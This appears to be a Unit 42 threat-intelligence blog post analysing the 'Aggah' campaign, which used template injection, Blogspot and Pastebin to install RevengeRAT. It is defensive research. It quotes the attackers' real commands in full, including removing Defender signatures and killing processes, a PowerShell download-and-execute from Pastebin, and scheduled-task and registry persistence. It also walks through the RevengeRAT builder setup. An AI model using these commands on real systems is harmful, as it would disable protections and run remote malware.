This post is also available in: 日本語 (Japanese)
In March 2019, Unit 42 began looking into an attack campaign that appeared to be primarily focused on organizations within a Middle Eastern country. Further analysis revealed that this activity is likely part of a much larger campaign impacting not only that region but also the United States, and throughout Europe and Asia.
Our analysis of the delivery document revealed it was built to load a malicious macro-enabled document from a remote server via Template Injection. These macros use BlogSpot posts to obtain a script that uses multiple Pastebin pastes to download additional scripts, which ultimately result in the final payload being RevengeRAT configured with a duckdns[.]org domain for C2. During our research, we found several related delivery documents that followed the same process to ultimately install RevengeRAT hosted on Pastebin, which suggests the actors used these TTPs throughout their attack campaign.
Initially, we believed this activity to be potentially associated with the Gorgon Group. Our hypothesis was based on the high level TTPs including the use of RevengeRAT. However, Unit 42 has not yet identified direct overlaps with other high-fidelity Gorgon Group indicators. Based on this, we are not able to assign this activity to the Gorgon group with an appropriate level of certainty.
In light of that, Unit 42 refers to the activity described in this blog as the Aggah Campaign based on the actor’s alias “hagga”, which was used to split data sent to the RevengeRAT C2 server and was the name of one of the Pastebin accounts used to host the RevengeRAT payloads.
Our research into the Aggah campaign began with a delivery document sent to organizations in a single Middle Eastern country via an email on March 27, 2019. This email appeared to originate from a large financial institution in the same country, although it was likely spoofed. The subject of the email was “Your account is locked.” This initial delivery document was sent to organizations in one Middle Eastern country, specifically to organizations in the education, media/marketing, and government verticals. Four days later on March 31, we saw the same delivery email sent to a financial organization in a second Middle Eastern country. We later discovered that this delivery document was just one of many in a larger campaign sent to organizations in the United States, Europe and Asia targeting the same verticals as in the Middle East as well as Technology, Retail, Manufacturing, State/Local Government, Hospitality, Medical, Technology, and other Professional business. The related documents were functionally similar, so we will describe the original sample we analyzed.
The email sent on March 27 had a Word document attached with the filename “Activity.doc” (SHA256: d7c92a8aa03478155de6813c35e84727ac9d383e27ba751d833e5efba3d77946) that attempted to load a remote OLE document via Template Injection. When “Activity.doc” is opened, it displays the image in Figure 1 as a lure in an attempt to trick the user into enabling content to allow macros to run. The lure suggests that the user must open the document in the desktop versions of Microsoft Word, as macros do not function in the online version of Word in Office 365.The “Activity.doc” file does not contain a macro, but the OLE document that it loads from the remote server does contain a macro.
Figure 1. Lure image used in Activity.doc to trick user into enabling macros
The delivery document uses Template Injection to load a file hosted on a remote server. Figure 2 shows the contents of the delivery document’s footer that attempts to load a remote OLE document from hxxps://static.wixstatic[.]com/ugd/05e470_b104c366c1f7423293887062c7354db2.doc:
Figure 2. Footer in Activity.doc showing remote OLE location
The remote OLE file loaded in the footer of Activity.doc file is actually an RTF file (SHA256: 5f762589cdb8955308db4bba140129f172bf2dbc1e979137b6cc7949f7b19e6f) that loads an embedded Excel document with a heavily obfuscated macro that contains a significant amount of ‘junk’ code. The purpose of this macro is to decode and execute the following URL via the “Shell” command:
The command above uses the built-in “mshta” application to download the contents of URL provided, in this case a shortened URL using the Bit.ly service. During WildFire’s analysis, the shortened bit.ly URL redirected to hxxps://bjm9.blogspot[.]com/p/si.html, as seen in the “Location” field of the HTTP response in Figure 3.
Figure 3. Bit.ly shortened link pointing to blog hosted at Blogspot
As you can see in the GET request above, the redirect points the browser (“mshta.exe” in this case) to a blog hosted on blogspot[.]com. As you can see in Figure 4, this BlogSpot article appears a bit odd but not necessarily malicious.
Figure 4. bjm9.blogspot[.]com screen capture
Figure 5. Script embedded in bjm9 Blogspot article
The malicious script carries out several activities on the compromised system. First, it attempts to hamper Microsoft Defender by removing its signature set. The script also kills the Defender process along with the processes for several Office applications. All of this is performed using the following command line:
cmd.exe /c cd “”%ProgramFiles%\Windows Defender”” & MpCmdRun.exe -removedefinitions -dynamicsignatures & taskkill /f /im winword.exe & taskkill /f /im excel.exe & taskkill /f /im MSPUB.exe & taskkill /f /im POWERPNT.EXE & forfiles /c “”taskkill /f /im MSASCuiL.exe”” & forfiles /c “”taskkill /f /im MpCmdRun.exe”” & exit
The script then attempts to disable security mechanisms within Office products, specifically by setting registry key values to enable macros and to disable ProtectedView. First, the script enables macros within Word, PowerPoint and Excel by setting the following registry keys to a value of “1”:
The script then attempts to disable the ProtectedView security mechanism within Word, PowerPoint and Excel by setting the following registry keys to a value of “1”:
The technique of enabling macros and disabling ProtectedView in Office, including the order in which the registry keys were modified was also described in our blog covering the Gorgon group. Also, the tactic of killing processes for Windows Defender and Microsoft Office applications was also carried out by Gorgon as well. The Gorgon group also used the bitly URL shortening service in their attacks, but while these are obvious technique overlaps, we still do not have concrete evidence that this attack campaign is associated with Gorgon.
The script hosted on Blogspot then carries out three main activities that include:
- Downloading a payload from a Pastebin URL
- Creating a scheduled task to periodically obtain and run a script from a Pastebin URL
- Creating an autorun registry key to obtain and run a script from a Pastebin URL
Obtaining a payload from Pastebin
The script hosted at Blogspot obtains a portable executable payload from a Pastebin URL and executes it. The script builds the following command and attempts to run it using the WScript.Shell object:
mshta.exe vbscript:CreateObject(“”Wscript.Shell””).Run(“”powershell.exe -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString(\’h\’+\’t\’+\’t\’+\’p\’+\’s:\’+\’//p\’+\’a\’+\’s\’+\’t\’+\’e\’+\’b\’+\’i\’+\’n\’+\’.\’+\’c\’+\’o\’+\’m\’+\’/\’+\’r\’+\’a\’+\’w\’+\’/\’+\’2LDaeHE1\’))).EntryPoint.Invoke($N,$N)””,0,true)(window.close)
The command above results in the downloading of a portable executable hosted on Pastebin at https://pastebin[.]com/raw/2LDaeHE1, decoding the base64 downloaded from the URL, and then executing it. Figure 6 shows the Pastebin page hosting the executable downloaded by the script.
Figure 6. 2LDaeHE1 Pastebin page
The decoded payload has the following attributes:
|Compile Time||2019-03-20 19:43:08|
Table 2. Decoded payload from pastebin[.]com/raw/2LDaeHE1
This payload was written in VB.NET and named “Nuclear Explosion,” which is a variant of RevengeRAT configured to use the domain “lulla.duckdns[.]org” for C2, as seen in Figure 7.
Figure 7. RevengeRAT configuration
According to its configuration seen in Figure 8, when sending data to the C2 server, it will split the information using the string “hagga“, which is the same name as the PasteBin account hosting the payload information seen in Figure 6 and the basis of the Aggah campaign name.
Figure 8. Configuration showing the string “hagga” used to split information sent to the C2 server
Creating a Scheduled Task
The script hosted at the Blogspot blog builds another command to create a scheduled task called “eScan Backup” that runs every 100 minutes. The command string generated by the script used to create this scheduled task is:
schtasks /create /sc MINUTE /mo 100 /tn eScan Backup /tr “”mshta vbscript:CreateObject(“”Wscript.Shell””).Run(“”mshta.exe https://pastebin[.]com/raw/tb5gHu2G””,0,true)(window.close)”” /F ‘
The “eScan Backup” task will use the built-in mshta application to download a script from a Pastebin URL, specifically at hxxps://pastebin[.]com/raw/tb5gHu2G that we will continue to refer to as the tb5gHu2G script. We believe the actors chose the name “eScan Backup” to appear related to the eScan antivirus products. Figure 9 shows the scheduled task in Windows’ Task Scheduler program.
Figure 9. Scheduled task created to reach out to Pastebin URL and run the hosted script every 100 minutes
The scheduled task downloading and running the tb5gHu2G script is meant for persistence, as it runs the same command to hamper Windows Defender and kill Office applications. The tb5gHu2G script also attempts to run the same VBScript as the script hosted on the Blogspot blog, of which downloads and executes the payload from the “2LDaeHE1” Pastebin page shown in Figure 6. Figure 10 shows the Pastebin page hosting the tb5gHu2G script.
Figure 10. tb5gHu2G Pastebin page
Creating an Autorun Registry Key
The script hosted at the Blogspot blog creates an autorun registry key, which appears to be a second persistence mechanism to supplement the previously mentioned scheduled task. To create the autorun key, the script generates the following command that it will attempt to run:
CreateObject(“Wscript.Shell”).regwrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate”, “C:\Windows\System32\mshta.exe vbscript:CreateObject(“”Wscript.Shell””).Run(“”mshta.exe%20http://pastebin[.]com/raw/YYZq1XR0″”,0,true)(window.close)” , “REG_EXPAND_SZ”
This run key will attempt to download the contents hosted at yet another Pastebin URL of http://pastebin[.]com/raw/YYZq1XR0
and run the contents as a script using the Wscript.Shell object. Figure 11 shows the Pastebin page displaying the contents of the script.
Figure 11. YYZq1XR0 Pastebin page
The YYZq1XR0 Pastebin paste contains the following script that does very little:
The fact that the above script does so little suggests that the actor may update this paste with a new script containing additional functionality when desired. The editing of pastes is possible if the paste was created using a “Pro” account. These pastes were created by an account named HAGGA, which appears to be a PRO account that would allow the actor to update the script to run on infected systems. HAGGA has several additional pastes as well as seen below in Figure 12. These pastes contain additional malicious scripts that are ultimately used to create a payload.
Figure 12. Hagga’s Pastebin page
Part of a Larger Campaign?
While investigating this particular campaign we reviewed the click count available on Bit.ly. As of April 11, 2019, the Bit.ly link, SmexEaldos3, referenced in the analysis above contained over 1,900 clicks in about 20 countries spanning North America, Europe, Asia, and the Middle East. This high volume click-count indicated to us that we were likely only looking at an extremely small subset of the actual campaign. It is also highly likely that these click counts also include individuals accessing the shortened link during investigations and research efforts; therefore, the number is not an accurate representation of the number of hosts infected.
Figure 13. bitly SmexEaldos3 page clicks
Digging in a bit further we took a look at the document properties to see what additional information we may be able to use to help identify related activity. The document properties indicate these operators were using an apparently pirated version of Microsoft Word and used the string ‘Lulli moti myri’ as the creator/author of the document. Using this string we searched in our repositories and identified over a dozen Microsoft Office documents – half of them DOCX and the other half XLS.
All of the documents have a time stamp between January and April 2019, and each contained a Bit.ly URL that redirects to a Blogspot page. While all of these documents were of interest to us, we noticed one configured with the same Bit.ly URL as our original file Activity.doc. This file has the following SHA256:
Table 3. Similarly configured document to Activity.doc
During our analysis, we identified several Bit.ly URLs and their redirects resulting in the download of RevengeRAT. One particular sample contains the C2 domain kronozzz2.duckdns[.]org. This sample has a SHA256 of:
Table 4. Decoded payload from pastebin[.]com/raw/sgawvit9
One of HAGGA’s pastes includes the title ‘kronoz2 back2new’. This domain indicated to us another possible relation to the HAGGA Pastebin account shown in Figure 12. Open source research revealed a similar domain kronoz.duckdns[.]org associated with a RevengeRAT sample with the following hash:
Table 5. File associated with kronoz.duckdns[.]org
All identified samples are available in Appendix A.
After reviewing all of the delivery documents and RevengeRAT payloads we discovered that all but one payload contains the mutex RV_MUTEX-WindowsUpdateSysten32 (note the purposeful misspelling by the attackers of “Systen32” for “System32”) with a base64 encoded identifier of SE9URUlTIE5PVk9T that decodes to HOTEIS NOVOS (“NEW HOTELS” in Portuguese). We searched through our available repositories to see just how many samples contained these strings. We found over 50 files beginning as early as September 2018, which are noted in Appendix A. Many of these samples contained the same ‘hagga’ key; however, we also noted three other additional keys: ‘oldman’, ‘steve’, and ‘roma225’. The ‘roma225’ key was discussed in December 2018 in a publication titled ‘The Enigmatic “Roma225” Campaign’ by Yoroi. The one sample that was not configured with that mutex and identifer was the sample noted in Table 5. That sample contains the mutex RV_MUTEX-cuiGGjjtnxDpnF and the Identifier TWlsZWdvbmE= which decodes to ‘Milegona’.
Correlating RevengeRAT samples
RevengeRAT is a commodity Trojan that has many leaked builders freely available in open source, which makes attributing the tool’s use to a specific actor or attack campaign difficult. Because of this, we wanted to determine if the mutex, identifier and key seen in Aggah related samples were not standard default values for RevengeRAT and if they were strong enough to use for pivoting and correlation purposes. To gauge the likelihood of two unrelated actors using the same values in the configuration, we used the leaked RevengeRAT builder (v0.3) to visualize the process an actor would have to take to create RevengeRAT samples that shared the same mutex, identifier and key as the payload delivered in the Aggah campaign.
To our surprise, we found it was rather unlikely that two unrelated individuals would use the mutex, identifier, and key just by happenstance. We believe this as the actor must manually enter the mutex, identifier, and key into specific fields within the RevengeRAT builder, in which we will highlight in the following explanation of steps required to build the Trojan.
To create the RevengeRAT payload used in this campaign, the actor would use the RevengeRAT server to compile an executable configured with the appropriate fields. First, the actor would set the “Socket Key” field to “hagga” and press “Start Listening”, as seen in Figure 14.
Figure 14. RevengeRAT Builder Socket Key Setting
Once the server is configured and listening, the actor would click the “Client Builder” button to create the RevengeRAT client, as seen in Figure 15.
Figure 15. RevengeRAT Client Builder
In the Client Builder, the actor would click the “Network Settings” drop down and enter the domain “lulla.duckdns[.]org” and the TCP port of 2336 before pressing the add button seen in Figure 16.
Figure 16. RevengeRAT Network Settings setup
The actor would then click the Basic Settings drop down and enter their chosen identifier “HOTEIS NOVOS” into the “Client Identifier” field and would add “-WindowsUpdateSysten32” in the “Client Mutex” field, as it already contains “RV_MUTEX” by default. Figure 17 shows these values added to the correct fields. What is of interest to note here is that the actor manually added the string “-WindowsUpdateSysten32” instead of clicking the plus (“+”) button available next to this field, which would concatenate a hyphen and a random string instead.
Figure 17. RevengeRAT Basic Settings setup
Lastly, to compile the payload the actor has to agree to the Terms of Service and click the “Compile” button, as seen in Figure 18.
Figure 18. RevengeRAT Ready to compile
By pressing the compile button, the RevengeRAT server will create a client executable with a default name of “Client.exe” that the actor can save to the system prior to delivering it in their attack. Figure 19 shows the RevengeRAT client icon on the desktop.
Figure 19. RevengeRAT Client Icon
The configuration within the compiled “Client.exe” seen in Figures 16 and 17 visually matches the configuration of the RevengeRAT downloaded from Pastebin in the Aggah campaign, as seen in Figures 7 and 8. This suggests that the actor(s) involved in this campaign would have followed similar steps to create their payload. The sequence of steps carried out to create RevengeRAT payloads that share the same client identifiers and socket keys suggests with a high confidence that a common actor is involved.
Initially, according to our telemetry it appeared as though this could be a very focused effort to target organizations within one Middle Eastern country. However, after further analysis this appears to be just a small part of a much larger campaign which also seems to be affecting many regions including but not limited to the United States, Europe, and Asia. Unfortunately, our current data set does not afford insight into the attackers’ motivation other than to compromise a large number of victims.
While a lot of this activity behaviorally appears to be potentially related to the Gorgon Group’s criminal activity, it is currently unclear and requires additional analysis to prove. Both Unit 42 and Yoroi recently released similar blogs which also displayed similar tactics but were not assessed with a high level of confidence as related to the Gorgon Group. Although we are unsure of a connection to the Gorgon Group specifically, we do assess that based on the unique configuration of these RevengeRAT samples that a common operator was likely involved in the activity mentioned in this blog.
RevengeRAT is a publicly available RAT which is seen in high volume. It appears as though some users of this RAT have moved from following publicly available step-by-step guides to become a little more sophisticated in how they are leveraging alternative storage locations for C2 support, such as Pastebin. These technique changes may help the operators by hiding behind legitimate services that are likely not blocked by security devices.
Palo Alto Networks customers are protected from these operators in the following ways:
- AutoFocus: Customers can currently track this campaign activity using the following tags: Aggah, RevengeRAT
- WildFire and Traps: detects all malware supported in this report as malicious
Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.
Indicators of Compromise
Malicious Documents and Payloads
The following indicators were identified associated with RevengeRAT, however, may not be exclusive to RevengeRAT
Unit 42 has identified additional indicators associated with the Aggah campaign. These indicators include: